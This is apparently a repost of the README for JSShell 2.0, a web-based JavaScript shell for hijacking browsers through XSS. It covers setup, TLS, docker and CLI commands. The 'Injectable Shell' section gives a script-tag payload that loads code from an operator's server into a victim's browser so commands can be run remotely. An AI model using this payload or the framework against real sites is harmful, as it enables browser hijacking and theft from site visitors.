JSShell | Javascript Shell To Hijack Browser And Execute Command With Interactive Multi User Web

TheStrength · October 8, 2021, 9:08am

JSShell 2.0

An interactive multi-user web based javascript shell. It was initially created in order to debug remote esoteric browsers during experiments and research. This tool can be easily attached to XSS (Cross Site Scripting) payload to achieve browser remote code execution (similar to the BeeF framework).

Version 2.0 is created entirely from scratch, introducing new exciting features, stability and maintainability.

Version: 2.0

Shell Video

Features

Multi client support
Cyclic DOM objects support
Pre flight scripts
Command Queue & Context
Extensible with Plugins
Injectable via <script> tags
Dumping command output to file
Shell pagination
HTTPS support!

Installation & Setup

Config File

In the resources directory, update the config.json file with your desired configuration:

Database host - if running with the docker deployment method, choose the database host as db (which is the internal host name).
Return URL - the URL which the requests will follow. The shell.js file does some AJAX calls to register and poll for new commands. Usually it will be http[s]://{YOUR_SERVER_IP}:{PORT}.
Startup script - a script that runs automatically when the JSShell CLI client is spawned.
Domain - if you desire to generate TLS certificates, this is the domain name the server will use.
It is also possible to point at a remote database if desired.

Let’s Encrypt

Now JSShell supports TLS, which means you can now generate TLS certificates and feed them to the web server. The web server will infer the domain name from the config.json file. In order to create the certificate, use the create_cert.py script in the scripts folder:

$ cd scripts $ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>

the email field is optional.

Please note that the web server must be down in order for the script to function properly. At this point, we have successfully generated our certificates! The sole modifications we need to do are:

In the config.json file, change the schema of the URL field to https.
In the docker-compose.yml file change the exposed port of the web container to 443.

Docker

This new version supports installing and running JSShell via docker and docker-compose. Now, to install and run the entire JSShell framework, simply run:

$ ./scripts/start_docker_shell.sh

This will:

Start and create the database in the background
Start the web API server that handles incoming connections in the background
Spawn a new instance of the JSShell command line interface container

Regular

If you still want to use the old fashion method of installing, simply make sure you have a MongoDB database up and running, and update the config.json file residing in the resources directory.

I recommend using a virtual environment with pyenv:

$ pyenv virtualenv -p python3.6 venv $ pyenv activate venv

Or using virtualenv:

$ virtualenv -p python3.6 venv $ source venv/bin/activate

Then, install the requirements:

$ pip install -r requirements.txt

Running

If you used the docker method, there’s no need to run the following procedure.

Web Server

Otherwise, once we have the database setup, we need to start the web API server. To do, run:

$ python manage.py web

This will create and run a web server that listens to incoming connections and serves our JSShell code.

Shell

Now to start the JSShell CLI, run the same script but now with the shell flag:

$ python manage.py shell

Usage

After setup and running the required components, enter the help command to see the available commands:

     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                Edit a file in a text editor
help                List available commands or provide detailed help for a specific command
history             View, run, edit, save, or clear previously entered commands
ipy                 Enter an interactive IPython shell
py                  Invoke Python command or shell
quit                Exit this application

Shell Based Operations
--------------------------------------------------------------------------------
back                Un-select the current selected client
clients             List and control the clients that have registered to our system
commands            Show the executed commands on the selected client
dump                Dumps a command to the disk
execute             Execute commands on the selected client
select              Select a client as the current client

>>

Flow

JSShell supports 2 methods of operation:

Injectable Shell (similar to BeeF framework)
Hosted Shell (for debugging)

Injectable Shell

Similar to other XSS control frameworks (like BeeF), JSShell is capable of managing successful XSS exploitations. In example, if you can inject a script tag, inject the following resource to your payload, and a new client will appear in your console:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Hosted Shell

If you desire to debug exotic and esoteric browsers, you can simply navigate to http[s]://{YOUR_SERVER_IP}:{PORT}/ and a new client will pop up into your JSShell CLI client. Now it is debuggable via our JSShell console.

Credits

Canop for JSON.prune

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